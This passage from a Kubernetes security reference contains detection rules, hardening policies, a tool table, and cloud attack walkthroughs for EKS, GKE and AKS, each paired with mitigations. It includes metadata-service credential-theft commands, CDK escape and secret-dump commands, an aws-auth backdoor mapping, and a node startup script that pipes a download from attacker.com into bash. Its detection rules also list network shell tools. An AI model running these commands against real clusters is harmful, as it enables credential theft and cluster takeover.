- rule: Docker Socket Access from Container
  desc: Detect container accessing Docker socket for potential escape
  condition: >
    container.id != "" and
    (fd.name = "/var/run/docker.sock" or
     fd.name = "/run/containerd/containerd.sock" or
     fd.name = "/var/run/crio/crio.sock") and
    (evt.type in (open, openat, openat2))
  output: >
    Container runtime socket accessed from container
    (user=%user.name command=%proc.cmdline file=%fd.name container=%container.name)
  priority: CRITICAL
  tags: [container, escape, T1611]

- rule: Mount Executed in Container
  desc: Detect mount command in container indicating escape attempt
  condition: >
    spawned_process and
    proc.name = "mount" and
    container.id != ""
  output: >
    Mount command executed in container (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository)
  priority: HIGH
  tags: [container, escape, T1611]

- rule: Write to Core Pattern File
  desc: Detect modification of core_pattern for container escape
  condition: >
    open_write and
    fd.name = "/proc/sys/kernel/core_pattern" and
    container.id != ""
  output: >
    Core pattern modified from container (user=%user.name command=%proc.cmdline
    container=%container.name)
  priority: CRITICAL
  tags: [container, escape, T1611]

# === Credential Access Detection ===

- rule: Read Sensitive File in Container
  desc: Detect access to sensitive credential files
  condition: >
    open_read and
    container.id != "" and
    (fd.name startswith "/etc/shadow" or
     fd.name startswith "/etc/kubernetes" or
     fd.name contains "/serviceaccount/token" or
     fd.name contains "/.kube/config")
  output: >
    Sensitive file read in container (user=%user.name command=%proc.cmdline
    file=%fd.name container=%container.name)
  priority: HIGH
  tags: [container, credential_access, T1552]

- rule: Cloud Metadata Access from Container
  desc: Detect container accessing cloud instance metadata service
  condition: >
    container.id != "" and
    ((fd.sip = "169.254.169.254") or
     (fd.sip = "169.254.170.2")) and
    evt.type in (connect, sendto)
  output: >
    Cloud metadata service accessed from container
    (user=%user.name command=%proc.cmdline container=%container.name
    dest=%fd.sip:%fd.sport)
  priority: HIGH
  tags: [container, credential_access, T1552.005]

# === Lateral Movement Detection ===

- rule: Network Scanning Tool in Container
  desc: Detect network reconnaissance tools running in containers
  condition: >
    spawned_process and
    container.id != "" and
    (proc.name in (nmap, masscan, nping, netcat, nc, ncat, socat, arpspoof, tcpdump))
  output: >
    Network tool executed in container (user=%user.name command=%proc.cmdline
    container=%container.name image=%container.image.repository)
  priority: HIGH
  tags: [container, discovery, T1046]

# === Persistence Detection ===

- rule: Write to Kubernetes Static Pod Manifests
  desc: Detect writes to kubelet static pod manifest directory
  condition: >
    open_write and
    fd.name startswith "/etc/kubernetes/manifests/" and
    not proc.name in (kubelet, kubeadm)
  output: >
    Static pod manifest modified (user=%user.name command=%proc.cmdline
    file=%fd.name)
  priority: CRITICAL
  tags: [host, persistence, T1543.005]

- rule: Unexpected Shell in Container
  desc: Detect shell spawned in container (possible exec or RCE)
  condition: >
    spawned_process and
    container.id != "" and
    proc.name in (bash, sh, dash, zsh, csh, ksh, fish) and
    not proc.pname in (entrypoint.sh, start.sh, run.sh, docker-entrypoint.sh)
  output: >
    Shell spawned in container (user=%user.name shell=%proc.name parent=%proc.pname
    container=%container.name image=%container.image.repository)
  priority: WARNING
  tags: [container, execution, T1059]

# === Defense Evasion Detection ===

- rule: Kubernetes Event Deletion
  desc: Detect deletion of Kubernetes events (covering tracks)
  condition: >
    kevt and
    kdelete and
    ka.target.resource = "events"
  output: >
    Kubernetes events deleted (user=%ka.user.name namespace=%ka.target.namespace
    count=%ka.response.code)
  priority: HIGH
  tags: [k8s, defense_evasion, T1070]

- rule: Log File Truncation on Host
  desc: Detect truncation of container or kubelet log files
  condition: >
    open_write and
    (fd.name startswith "/var/log/containers/" or
     fd.name startswith "/var/log/pods/" or
     fd.name = "/var/log/kubelet.log") and
    evt.arg.flags contains "O_TRUNC"
  output: >
    Log file truncated (user=%user.name command=%proc.cmdline file=%fd.name)
  priority: HIGH
  tags: [host, defense_evasion, T1070]
```

### 10.2 Sigma Rules for API Audit Logs

```yaml
# === Privilege Escalation ===

title: Kubernetes ClusterRoleBinding to cluster-admin Created
id: f8e2d3a1-b4c5-4d6e-8f9a-0b1c2d3e4f5a
status: experimental
description: Detects creation of ClusterRoleBinding with cluster-admin privileges
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: clusterrolebindings
  privilege:
    requestObject.roleRef.name: cluster-admin
  condition: selection and privilege
falsepositives:
  - Helm chart installations requiring cluster-admin
  - Operator deployments during initial cluster setup
level: critical
tags:
  - attack.t1098.006
  - attack.privilege_escalation
---
title: Kubernetes Impersonation Request
id: a2b3c4d5-e6f7-8901-abcd-ef2345678901
status: experimental
description: Detects API requests using user/group impersonation
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    impersonatedUser.username|exists: true
  filter_system:
    user.username|startswith: "system:"
    impersonatedUser.username|startswith: "system:"
  condition: selection and not filter_system
falsepositives:
  - Legitimate admin tools using impersonation for testing
level: high
tags:
  - attack.t1134
  - attack.privilege_escalation
---
title: Privileged Kubernetes Pod Created
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects creation of privileged pods enabling container escape
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: pods
  condition_priv:
    requestObject.spec.containers[*].securityContext.privileged: "true"
  condition: selection and condition_priv
falsepositives:
  - kube-proxy, CNI pods, and monitoring agents that require privileged mode
level: high
tags:
  - attack.t1611
  - attack.privilege_escalation
---
title: Bulk Secret Enumeration via Kubernetes API
id: b2c3d4e5-f6a7-8901-bcde-f12345678901
status: experimental
description: Detects listing all secrets across namespaces indicating credential harvesting
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    verb: list
    objectRef.resource: secrets
    objectRef.namespace: ""
  condition: selection
falsepositives:
  - Backup controllers and security compliance scanners
level: critical
tags:
  - attack.t1528
  - attack.credential_access
---
title: Kubernetes Exec into Pod
id: d4e5f6a7-b8c9-0123-defg-456789012345
status: experimental
description: Detects exec operations into pods which may indicate lateral movement
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    verb: create
    objectRef.resource: pods
    objectRef.subresource: exec
  condition: selection
falsepositives:
  - Developers debugging pods in development namespaces
  - Automated health check systems
level: medium
tags:
  - attack.t1609
  - attack.execution
---
title: Admission Webhook Configuration Changed
id: e5f6a7b8-c9d0-1234-efgh-567890123456
status: experimental
description: Detects creation or modification of admission webhooks
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection_mutating:
    verb|re: "create|update|patch"
    objectRef.resource: mutatingwebhookconfigurations
  selection_validating:
    verb|re: "create|update|patch"
    objectRef.resource: validatingwebhookconfigurations
  condition: selection_mutating or selection_validating
falsepositives:
  - cert-manager and Istio webhook updates
  - Operator installations
level: high
tags:
  - attack.t1098
  - attack.persistence
---
title: Anonymous Kubernetes API Access
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects API server access by anonymous/unauthenticated users
logsource:
  category: kubernetes_audit
  product: kubernetes
detection:
  selection:
    user.username:
    - "system:anonymous"
  filter_health:
    objectRef.resource|re: "healthz|livez|readyz"
  condition: selection and not filter_health
falsepositives:
  - Load balancer health checks hitting non-health endpoints
level: high
tags:
  - attack.t1078.001
  - attack.initial_access
```

### 10.3 API Audit Log Policy

```yaml
# Comprehensive audit policy for security monitoring
apiVersion: audit.k8s.io/v1
kind: Policy
rules:
# Log all secret operations at RequestResponse level
- level: RequestResponse
  resources:
  - group: ""
    resources: ["secrets"]

# Log all RBAC changes
- level: RequestResponse
  resources:
  - group: "rbac.authorization.k8s.io"
    resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]

# Log pod exec and attach
- level: RequestResponse
  resources:
  - group: ""
    resources: ["pods/exec", "pods/attach", "pods/portforward"]

# Log admission webhook changes
- level: RequestResponse
  resources:
  - group: "admissionregistration.k8s.io"

# Log service account token creation
- level: RequestResponse
  resources:
  - group: ""
    resources: ["serviceaccounts/token"]

# Log node and namespace changes
- level: RequestResponse
  resources:
  - group: ""
    resources: ["nodes", "namespaces"]

# Log pod creation at Metadata level
- level: Metadata
  resources:
  - group: ""
    resources: ["pods"]
  - group: "apps"
    resources: ["deployments", "daemonsets", "statefulsets", "replicasets"]
  - group: "batch"
    resources: ["jobs", "cronjobs"]

# Log ConfigMap changes
- level: Metadata
  resources:
  - group: ""
    resources: ["configmaps"]

# Skip health checks and status updates
- level: None
  resources:
  - group: ""
    resources: ["events", "endpoints"]
- level: None
  users: ["system:kube-proxy"]
  verbs: ["watch"]
- level: None
  nonResourceURLs:
  - "/healthz*"
  - "/livez*"
  - "/readyz*"
  - "/metrics"

# Default: log everything else at Metadata
- level: Metadata
```

### 10.4 OPA/Gatekeeper Policies

```yaml
# Block privileged containers
apiVersion: templates.gatekeeper.sh/v1
kind: ConstraintTemplate
metadata:
  name: k8sblockedprivileged
spec:
  crd:
    spec:
      names:
        kind: K8sBlockPrivileged
  targets:
  - target: admission.k8s.gatekeeper.sh
    rego: |
      package k8sblockedprivileged
      violation[{"msg": msg}] {
        container := input.review.object.spec.containers[_]
        container.securityContext.privileged == true
        msg := sprintf("Privileged container '%v' is not allowed", [container.name])
      }
      violation[{"msg": msg}] {
        container := input.review.object.spec.initContainers[_]
        container.securityContext.privileged == true
        msg := sprintf("Privileged init container '%v' is not allowed", [container.name])
      }
---
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sBlockPrivileged
metadata:
  name: block-privileged-containers
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
    excludedNamespaces: ["kube-system"]
```

### 10.5 Kyverno Policies

```yaml
# Block hostPath volumes
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-hostpath
  annotations:
    policies.kyverno.io/title: Block hostPath Volumes
    policies.kyverno.io/severity: high
spec:
  validationFailureAction: Enforce
  rules:
  - name: block-hostpath-volumes
    match:
      any:
      - resources:
          kinds:
          - Pod
    exclude:
      any:
      - resources:
          namespaces:
          - kube-system
    validate:
      message: "hostPath volumes are not allowed."
      pattern:
        spec:
          =(volumes):
          - X(hostPath): "null"
---
# Require non-root containers
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-run-as-non-root
spec:
  validationFailureAction: Enforce
  rules:
  - name: run-as-non-root
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Containers must run as non-root."
      pattern:
        spec:
          containers:
          - securityContext:
              runAsNonRoot: true
---
# Block cloud metadata access via NetworkPolicy generation
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: block-metadata-service
spec:
  rules:
  - name: generate-netpol-block-metadata
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      kind: NetworkPolicy
      apiVersion: networking.k8s.io/v1
      name: block-cloud-metadata
      namespace: "{{request.object.metadata.name}}"
      data:
        spec:
          podSelector: {}
          policyTypes:
          - Egress
          egress:
          - to:
            - ipBlock:
                cidr: 0.0.0.0/0
                except:
                - 169.254.169.254/32
```

### 10.6 Runtime Monitoring with Tetragon

```yaml
# Tetragon TracingPolicy for container escape detection
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
  name: container-escape-detection
spec:
  kprobes:
  # Detect cgroup release_agent manipulation
  - call: "security_file_open"
    syscall: false
    args:
    - index: 0
      type: "file"
    selectors:
    - matchArgs:
      - index: 0
        operator: "Postfix"
        values:
        - "release_agent"
    - matchActions:
      - action: Sigkill  # Kill the process attempting the escape
  # Detect nsenter
  - call: "__x64_sys_setns"
    syscall: true
    args:
    - index: 0
      type: "int"
    selectors:
    - matchActions:
      - action: Post
        rateLimit: "1m"
```

---

## 11. Hardening

### 11.1 Pod Security Standards (PSS)

```yaml
# Apply to namespaces via labels (Kubernetes 1.25+, replaces PodSecurityPolicy)
# Three profiles: Privileged (unrestricted), Baseline (minimally restrictive), Restricted (hardened)

# Enforce Restricted profile on a namespace
apiVersion: v1
kind: Namespace
metadata:
  name: production
  labels:
    pod-security.kubernetes.io/enforce: restricted
    pod-security.kubernetes.io/enforce-version: latest
    pod-security.kubernetes.io/audit: restricted
    pod-security.kubernetes.io/audit-version: latest
    pod-security.kubernetes.io/warn: restricted
    pod-security.kubernetes.io/warn-version: latest
```

**Restricted profile blocks**:
- Privileged containers
- hostPID, hostIPC, hostNetwork
- hostPath volumes
- Host ports
- Capabilities beyond NET_BIND_SERVICE
- Running as root
- Privilege escalation
- Non-default seccomp profiles

```yaml
# Minimum compliant pod under Restricted profile
apiVersion: v1
kind: Pod
metadata:
  name: hardened-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    fsGroup: 1000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: myapp:v1.0@sha256:abc123...
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
    resources:
      limits:
        cpu: "500m"
        memory: "256Mi"
      requests:
        cpu: "100m"
        memory: "128Mi"
```

### 11.2 Network Policies

```yaml
# Default deny ALL traffic in namespace
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: default-deny-all
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Ingress
  - Egress
---
# Allow only specific pod-to-pod communication
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-frontend-to-backend
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: backend
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          app: frontend
    ports:
    - protocol: TCP
      port: 8080
---
# Block cloud metadata from all pods
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-metadata
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
---
# Allow DNS egress (required for service discovery)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: allow-dns
  namespace: production
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - namespaceSelector:
        matchLabels:
          kubernetes.io/metadata.name: kube-system
      podSelector:
        matchLabels:
          k8s-app: kube-dns
    ports:
    - protocol: UDP
      port: 53
    - protocol: TCP
      port: 53
```

### 11.3 RBAC Least Privilege

```yaml
# Dedicated service account per workload (never use default)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: frontend-sa
  namespace: production
automountServiceAccountToken: false  # Don't mount unless needed
---
# Minimal Role -- only what the application needs
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: frontend-role
  namespace: production
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["frontend-config"]  # Specific resource, not wildcard
  verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: frontend-binding
  namespace: production
subjects:
- kind: ServiceAccount
  name: frontend-sa
  namespace: production
roleRef:
  kind: Role
  name: frontend-role
  apiGroup: rbac.authorization.k8s.io
```

```bash
# RBAC audit commands
# Find all cluster-admin bindings
kubectl get clusterrolebindings -o json | jq '
  .items[] | select(.roleRef.name == "cluster-admin") |
  {name: .metadata.name, subjects: .subjects}'

# Find roles with wildcard permissions
kubectl get clusterroles -o json | jq '
  .items[] | select(.rules[]? | .verbs[]? == "*") |
  {name: .metadata.name}'

# Find service accounts that can access secrets
kubectl get clusterroles -o json | jq '
  .items[] | select(.rules[]? |
    (.resources[]? == "secrets") and
    ((.verbs[]? == "get") or (.verbs[]? == "list") or (.verbs[]? == "*"))
  ) | .metadata.name'

# Check specific SA permissions
kubectl auth can-i --list --as=system:serviceaccount:production:frontend-sa

# Tool: kubectl-who-can
kubectl who-can get secrets -A
kubectl who-can create pods -n kube-system
kubectl who-can create clusterrolebindings
```

### 11.4 Secrets Management with external-secrets

```yaml
# External Secrets Operator syncs secrets from external providers
# Avoids storing secrets in etcd entirely

# SecretStore pointing to AWS Secrets Manager
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
  name: aws-secrets
  namespace: production
spec:
  provider:
    aws:
      service: SecretsManager
      region: us-east-1
      auth:
        jwt:
          serviceAccountRef:
            name: external-secrets-sa
---
# ExternalSecret that syncs from AWS
apiVersion: external-secrets.io/v1beta1
kind: ExternalSecret
metadata:
  name: db-credentials
  namespace: production
spec:
  refreshInterval: 1h
  secretStoreRef:
    name: aws-secrets
    kind: SecretStore
  target:
    name: db-credentials
    creationPolicy: Owner
  data:
  - secretKey: username
    remoteRef:
      key: production/db
      property: username
  - secretKey: password
    remoteRef:
      key: production/db
      property: password
---
# HashiCorp Vault provider
apiVersion: external-secrets.io/v1beta1
kind: SecretStore
metadata:
  name: vault
  namespace: production
spec:
  provider:
    vault:
      server: "https://vault.internal:8200"
      path: "secret"
      version: "v2"
      auth:
        kubernetes:
          mountPath: "kubernetes"
          role: "production-role"
          serviceAccountRef:
            name: vault-auth-sa
```

### 11.5 Control Plane Hardening Checklist

```bash
# API Server
--anonymous-auth=false
--authorization-mode=RBAC,Node
--enable-admission-plugins=NodeRestriction,PodSecurity,AlwaysPullImages
--audit-log-path=/var/log/kubernetes/audit/audit.log
--audit-policy-file=/etc/kubernetes/audit-policy.yaml
--audit-log-maxage=30
--audit-log-maxbackup=10
--audit-log-maxsize=100
--insecure-port=0
--profiling=false
--service-account-lookup=true
--kubelet-certificate-authority=/etc/kubernetes/pki/ca.crt
--tls-cipher-suites=TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,...
--encryption-provider-config=/etc/kubernetes/encryption-config.yaml

# etcd
--client-cert-auth=true
--peer-client-cert-auth=true
--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt
# File permissions: chmod 700 /var/lib/etcd

# Kubelet
--anonymous-auth=false
--authorization-mode=Webhook
--read-only-port=0
--rotate-certificates=true
--protect-kernel-defaults=true
--streaming-connection-idle-timeout=5m
--tls-cert-file=...
--tls-private-key-file=...

# Encryption at rest config
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
  - secrets
  providers:
  - aescbc:
      keys:
      - name: key1
        secret: [BASE64_ENCODED_32_BYTE_KEY]
  - identity: {}  # Fallback for reading unencrypted secrets
```

### 11.6 Image Security

```yaml
# Kyverno policy: require image signatures (cosign)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: verify-image-signatures
spec:
  validationFailureAction: Enforce
  rules:
  - name: verify-cosign-signature
    match:
      any:
      - resources:
          kinds:
          - Pod
    verifyImages:
    - imageReferences:
      - "registry.example.com/*"
      attestors:
      - count: 1
        entries:
        - keys:
            publicKeys: |-
              -----BEGIN PUBLIC KEY-----
              MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...
              -----END PUBLIC KEY-----
---
# Kyverno policy: require image digests (no tags)
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-image-digest
spec:
  validationFailureAction: Enforce
  rules:
  - name: require-digest
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "Images must use digest, not tag."
      pattern:
        spec:
          containers:
          - image: "*@sha256:*"
```

---

## 12. Offensive and Defensive Tooling

### 12.1 Offensive Tools

| Tool | Purpose | Key Capability |
|------|---------|---------------|
| **CDK** | Container/K8s pentesting | Zero-dep binary, 20+ escape exploits, K8s API attacks |
| **Peirates** | K8s penetration testing | SA token theft, pod exec, cloud metadata, registry brute |
| **KubeHound** | Attack graph modeling | BloodHound-style graph analysis of K8s attack paths |
| **kube-hunter** | Vulnerability scanner | External/internal scan, active exploitation, ATT&CK mapping |
| **kubectl-who-can** | RBAC analysis | Find who can perform specific actions |
| **rbac-tool** | RBAC visualization | Policy analysis, graph generation, audit |
| **kubeaudit** | Security auditing | Manifest scanning for misconfigurations |
| **BOtB** | Container escape | Break out the Box -- automated escape techniques |

```bash
# CDK usage
cdk evaluate --full               # Comprehensive container evaluation
cdk run shim-pwn                  # CVE-2020-15257 containerd shim escape
cdk run mount-cgroup              # Cgroup release_agent escape
cdk run k8s-secret-dump           # Extract K8s secrets
cdk run k8s-backdoor-daemonset    # DaemonSet persistence
cdk probe [ip] [port] [parallel]  # Port scanning

# Peirates
./peirates                        # Interactive menu
# Options: switch SA, steal tokens, list secrets, exec in pods,
# create hostfs pods, cloud metadata, registry brute-force

# kubectl-who-can
kubectl who-can get secrets -n kube-system
kubectl who-can create pods -n default
kubectl who-can create clusterrolebindings
kubectl who-can impersonate users

# rbac-tool
rbac-tool lookup                  # Show all RBAC bindings
rbac-tool policy-rules            # Show effective permissions
rbac-tool who-can get secrets     # Similar to kubectl-who-can
rbac-tool viz                     # Generate graph visualization
```

### 12.2 Defensive Tools

| Tool | Purpose | Deployment |
|------|---------|-----------|
| **kube-bench** | CIS benchmark | Job or binary |
| **Kubescape** | Multi-framework scanner | CLI, CI/CD, operator |
| **Falco** | Runtime threat detection | DaemonSet |
| **Tetragon** | eBPF observability | DaemonSet |
| **OPA/Gatekeeper** | Policy admission | Admission webhook |
| **Kyverno** | Policy engine | Admission webhook |
| **Polaris** | Best practice audit | Dashboard, webhook, CLI |
| **Popeye** | Cluster sanitizer | CLI |
| **kubesec** | Manifest risk scoring | CLI, webhook |
| **Trivy** | Vulnerability scanning | CLI, operator |

```bash
# kube-bench
kube-bench run --targets master
kube-bench run --targets node
kube-bench run --targets etcd
kube-bench run --benchmark eks-1.2.0

# Kubescape
kubescape scan framework nsa
kubescape scan framework mitre
kubescape scan framework cis-v1.23-t1.0.1
kubescape scan --format json --output results.json

# Trivy (image + K8s scanning)
trivy image nginx:latest
trivy k8s --report summary cluster
trivy k8s --report all --severity HIGH,CRITICAL

# Polaris
polaris audit --audit-path deployment.yaml
polaris audit --format=json

# kubesec
kubesec scan pod.yaml
# Scores: -30 CAP_SYS_ADMIN, -7 AllowPrivilegeEscalation, +1 runAsNonRoot
```

---

## 13. Cloud-Specific Kubernetes Attacks

### 13.1 AWS EKS -- IRSA Abuse

**ATT&CK**: T1078 (Valid Accounts), T1528 (Steal Application Access Token)

```bash
# IRSA (IAM Roles for Service Accounts) attack flow:
# 1. Find SAs with IAM role annotations
kubectl get sa -A -o json | jq '
  .items[] | select(.metadata.annotations["eks.amazonaws.com/role-arn"] != null) |
  {ns: .metadata.namespace, sa: .metadata.name,
   role: .metadata.annotations["eks.amazonaws.com/role-arn"]}'

# 2. Create a pod using the target SA
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: irsa-steal
  namespace: [TARGET_NS]
spec:
  serviceAccountName: [TARGET_SA]
  containers:
  - name: aws
    image: amazonlinux:2
    command: ["sleep", "infinity"]
EOF

# 3. The pod automatically gets AWS credentials via IRSA
kubectl exec -it irsa-steal -n [TARGET_NS] -- bash
aws sts get-caller-identity
aws s3 ls
aws iam list-roles

# EKS node IAM role abuse (from any pod without IMDS blocking)
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE

# EKS-specific: aws-auth ConfigMap manipulation
# Controls IAM-to-K8s identity mapping
kubectl get configmap aws-auth -n kube-system -o yaml
# If you can edit this ConfigMap, you can map ANY IAM role to cluster-admin:
kubectl edit configmap aws-auth -n kube-system
# Add:
# - rolearn: arn:aws:iam::ATTACKER_ACCOUNT:role/attacker-role
#   username: cluster-admin
#   groups:
#   - system:masters

# EKS Pod Identity (newer mechanism)
# Check for pod identity associations
aws eks list-pod-identity-associations --cluster-name [CLUSTER]
```

**Mitigation**: Block IMDS from pods via NetworkPolicy. Use IMDSv2 with hop limit 1. Scope IRSA roles minimally. Protect aws-auth ConfigMap with OPA/Kyverno.

### 13.2 GCP GKE -- Workload Identity Abuse

```bash
# GKE Workload Identity maps K8s SAs to GCP SAs

# Find annotated service accounts
kubectl get sa -A -o json | jq '
  .items[] | select(.metadata.annotations["iam.gke.io/gcp-service-account"] != null) |
  {ns: .metadata.namespace, sa: .metadata.name,
   gsa: .metadata.annotations["iam.gke.io/gcp-service-account"]}'

# Create pod with target SA
kubectl run wi-steal --image=google/cloud-sdk \
  --serviceaccount=[TARGET_SA] -n [TARGET_NS] -- sleep infinity

# Get GCP access token
kubectl exec -it wi-steal -n [TARGET_NS] -- bash
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
gcloud auth list
gcloud projects list
gsutil ls

# GKE metadata concealment bypass
# Even with metadata concealment, Workload Identity tokens are available
# Attack: use WI token to access GCP services
gcloud auth activate-service-account --key-file=/dev/stdin << 'EOF'
... (use token from metadata)
EOF

# GKE node default SA often has broad permissions
# project-editor is common, which grants access to:
# - GCS buckets, GCR images, Compute instances, Cloud SQL, etc.

# GKE-specific: manipulate node pool metadata
# If you compromise the GKE control plane or have sufficient IAM:
gcloud container node-pools update [POOL] --cluster=[CLUSTER] \
  --metadata=startup-script='#!/bin/bash\ncurl http://attacker.com/shell.sh|bash'
```

**Mitigation**: Enable Workload Identity on all node pools. Disable legacy metadata endpoint. Use `iam.gke.io/gcp-service-account` annotations only where needed. Block metadata IP via NetworkPolicy.

### 13.3 Azure AKS -- AAD Integration Attacks

```bash
# AKS with Azure AD integration

# Azure Managed Identity from pods
TOKEN=$(curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
  | jq -r .access_token)

# List subscriptions with stolen token
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions?api-version=2020-01-01"

# List all resources
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://management.azure.com/subscriptions/[SUB_ID]/resources?api-version=2021-04-01"

# Access Key Vault secrets
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://[VAULT_NAME].vault.azure.net/secrets?api-version=7.3"

# AKS AAD Pod Identity (legacy)
kubectl get azureidentities -A
kubectl get azureidentitybindings -A
# If you can create AzureIdentityBindings, you can assume any managed identity

# AKS Workload Identity (newer)
kubectl get sa -A -o json | jq '
  .items[] | select(.metadata.annotations["azure.workload.identity/client-id"] != null) |
  {ns: .metadata.namespace, sa: .metadata.name,
   clientId: .metadata.annotations["azure.workload.identity/client-id"]}'

# AKS-specific: cluster admin credential theft
# If you have Azure Contributor on the AKS resource:
az aks get-credentials --resource-group [RG] --name [CLUSTER] --admin
# This gives cluster-admin kubeconfig regardless of K8s RBAC

# AKS run command (execute on cluster from Azure portal/CLI)
az aks command invoke --resource-group [RG] --name [CLUSTER] \
  --command "kubectl get secrets -A"
```

**Mitigation**: Use AKS Workload Identity instead of Pod Identity. Disable managed identity on node pools where not needed. Restrict Azure RBAC on AKS resource. Enable AKS local accounts disable feature.

### 13.4 Cloud-Agnostic Mitigations

```yaml
# Block IMDS from all pods (apply to every namespace)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-cloud-metadata
spec:
  podSelector: {}
  policyTypes:
  - Egress
  egress:
  - to:
    - ipBlock:
        cidr: 0.0.0.0/0
        except:
        - 169.254.169.254/32
        - 169.254.170.2/32   # EKS pod identity agent
```

```bash
# AWS: set IMDS hop limit to 1 (blocks access from pods in container network)
aws ec2 modify-instance-metadata-options \
  --instance-id [INSTANCE_ID] \
  --http-put-response-hop-limit 1 \
  --http-tokens required

# GCP: enable workload identity on node pool (disables metadata for pods)
gcloud container node-pools update [POOL] --cluster=[CLUSTER] \
  --workload-metadata=GKE_METADATA

# Azure: disable IMDS for pods
# Use AKS network policy to block 169.254.169.254
```

---

## Quick Reference: Attack Path Summary

```
+-----------------------------------------------------------------+
|                    K8s ATTACK PATHS                              |
+-----------------------------------------------------------------+
|                                                                  |
|  Initial Access                                                  |
|  +-- Exposed API server (anon auth)                              |
|  +-- Exposed dashboard (skip login)                              |
|  +-- Stolen kubeconfig                                           |
|  +-- Compromised CI/CD pipeline                                  |
|  +-- Application RCE (SSRF, injection)                           |
|  +-- Compromised container image                                 |
|  +-- Cloud credential theft -> cluster access                    |
|                                                                  |
|  Container -> Node Escalation                                    |
|  +-- Privileged pod -> cgroup/device/nsenter escape              |
|  +-- hostPath -> filesystem access -> cred theft                 |
|  +-- Docker/containerd socket -> new privileged container        |
|  +-- CVE exploitation (runc, containerd, kernel cgroups)         |
|  +-- Core pattern / SysRq abuse                                  |
|                                                                  |
|  Privilege Escalation                                            |
|  +-- RBAC: create pods -> use privileged SA                      |
|  +-- RBAC: bind roles -> grant cluster-admin                     |
|  +-- RBAC: escalate verb -> create god-mode role                 |
|  +-- RBAC: impersonate -> act as any user                        |
|  +-- RBAC: CSR signing -> forge certificates                     |
|  +-- Node to cluster via CA key / admin kubeconfig               |
|                                                                  |
|  Lateral Movement                                                |
|  +-- Pod-to-pod (no network policies)                            |
|  +-- SA token theft -> cross-namespace access                    |
|  +-- etcd access -> all cluster secrets                          |
|  +-- kubelet API -> exec in other pods                           |
|  +-- Cloud metadata -> IAM escalation                            |
|  +-- CoreDNS poisoning -> traffic redirect                       |
|  +-- ARP spoofing from hostNetwork pod                           |
|                                                                  |
|  Persistence                                                     |
|  +-- Admission webhook backdoor (sidecar injection)              |
|  +-- CronJob recurring execution                                 |
|  +-- Static pod (bypasses all admission)                         |
|  +-- DaemonSet on all nodes                                      |
|  +-- Container image backdoor                                    |
|  +-- Shadow API server                                           |
|                                                                  |
|  Credential Access                                               |
|  +-- K8s secrets via API                                         |
|  +-- etcd direct dump                                            |
|  +-- Mounted secrets / env vars                                  |
|  +-- Cloud IMDS credential theft                                 |
|  +-- IRSA / Workload Identity abuse                              |
|  +-- Image layer secrets                                         |
|                                                                  |
|  Data Exfiltration                                               |
|  +-- Volume mount access                                         |
|  +-- Sidecar injection                                           |
|  +-- DNS exfiltration                                            |
|  +-- Container registry theft                                    |
